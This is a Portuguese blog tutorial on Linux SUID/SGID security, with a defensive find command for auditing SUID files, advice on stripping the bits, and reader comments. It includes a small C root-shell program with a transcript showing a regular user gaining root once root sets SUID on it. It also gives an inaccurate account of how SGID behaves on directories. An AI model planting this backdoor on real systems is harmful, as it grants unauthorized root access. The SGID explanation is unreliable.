Segurança Linux Dicas básicas – Permissão Arquivos – parte 1
Posted on mai 18, 2008 under C, Dicas Linux, Segurança | 6 ComentáriosTenho a intenção de fazer uma série de artigos sobre dicas básicas de segurança em Linux. Muitas coisas passam despercebidas, às vezes nos preocupamos com as regras do firewall, os serviços que estão rodando mas nos esquecemos do básico.
Você já deve ter ouvido falar sobre SUID (Set User ID) Bit), SGID (Set Group ID). Mas qual a função destes atributos especiais ?
SUID
Quando executamos um programa o sistema operacional aloca recursos baseado no usuário que está executando o processo. Quando o SUID bit, é setado por exemplo para o usuário “root” o sistema irá permitir que um usuário comum execute funções não autorizadas. Muitos buffer overflow exploits são o resultado de programas SUID.
Arquivos com SUID: -rwsr-xr-x
SGID
Este atributo define as permissões para o grupo, funciona do mesmo modo que o SUID, mas a diferença é que as permissões tem efeito em diretórios. Então todos os arquivos e programas que estão dentro do diretório, quando executados ou editados por um usuário comum o sistema irá executar ou editar como se fosse o dono do arquivo.
Exemplo de exploit escrito em C
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
int main()
{
setgid(0); setuid(0);
execl("/bin/sh","sh",0);
}
Com este código acima com SUID habilitado é possível conseguir acesso de root.
root@localhost ~ # gcc -o exploit exploit.c root@localhost ~ # chown root exploit root@localhost ~ # chmod u+s exploit root@localhost ~ # exit marlon@localhost ~ $ ./exploit sh-3.2# id uid=0(root) gid=0(root) grupos=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) sh-3.2#
!!! Não me responsabilizo por uso indevido deste código, a divulgação é somente para conhecimento e prevenção!!!
Com o comando abaixo todos os programas com SUID e SGID são escritos no arquivo suidfile.txt
# /usr/bin/find / -type f \( -perm -004000 -o -perm -002000 \) -exec ls -lg {} \; 2>/dev/null >suidfiles.txt
Executando o comando acima no gentoo retorna a seguinte lista.
# less suidfiles.txt /bin/su /bin/ping /bin/mount /bin/umount /var/qmail/bin/qmail-queue /usr/bin/chfn /usr/bin/chsh /usr/bin/crontab /usr/bin/chage /usr/bin/expiry /usr/bin/sperl5.6.1 /usr/bin/newgrp /usr/bin/passwd /usr/bin/gpasswd /usr/bin/procmail /usr/bin/suidperl /usr/lib/misc/pt_chown /usr/sbin/unix_chkpwd /usr/sbin/traceroute /usr/sbin/pwdb_chkpwd
Para remover o SUID executa-se o comando chmod -s em cada arquivo.
Eu removi quase todos deixando somente o necessário: su, gpasswd, qmail-queue, unix_chkpwd, pwdb_chkpwd.
Se estiver usando X, a lista com certeza será maior pois necessita de acesso mais elevado.
Referências:
http://tldp.org/HOWTO/Security-HOWTO/file-security.html
http://www.gentoo.org/doc/pt_br/security/security-handbook.xml?part=1&chap=6
http://www.homepage.montana.edu/~unixuser/051602/SUID.html
http://www.hoobie.net/security/exploits/index.html
Comentem, Incentivem !!!!!!!!!

Seu servidor é seguro ?…
Neste post mostro que às vezes esquecemos de conceitos básicos de segurança. Confira ! …
…
…
Oi Marlon, legais os artigos.
Para que o exemplo em C funcione, poderia:
1) Corrigir os includes, que ficaram apagados?
2) Explicar que o root precisa antes setar SUID e SGID para o executável funcionar como esperado?
Fiquei na dúvida também
Coloca uns exemplos em python ai também.
Falou!
Rogério Schneider
Opa Rogério
É um grande prazer receber um comentário do amigo.
Foi corrigir os includes e informar que o root precisar setar o código compilado com o atributo SUID.
Vou colocar um chat em python em breve
Valeu Muito Obrigado
E ai!
Voltei a esse tópico novamente!
Agora ele ficou certinho, valeu.
Que tal colocares também algo sobre preload? Isso é interessante, como forma de explorar acesso em Linux.
Cara, eu não recebo e-mail quando tu responde ao comment, pq será?
Att,
Rogério Schneider
Rogério
Antes os comentários do blog não enviavam email, agora com o novo layout coloquei essa característica.
Seus comentários são sempre bem vindos, irei pesquisar sobre preload no momento desconheço.
Atenciosamente,
Marlon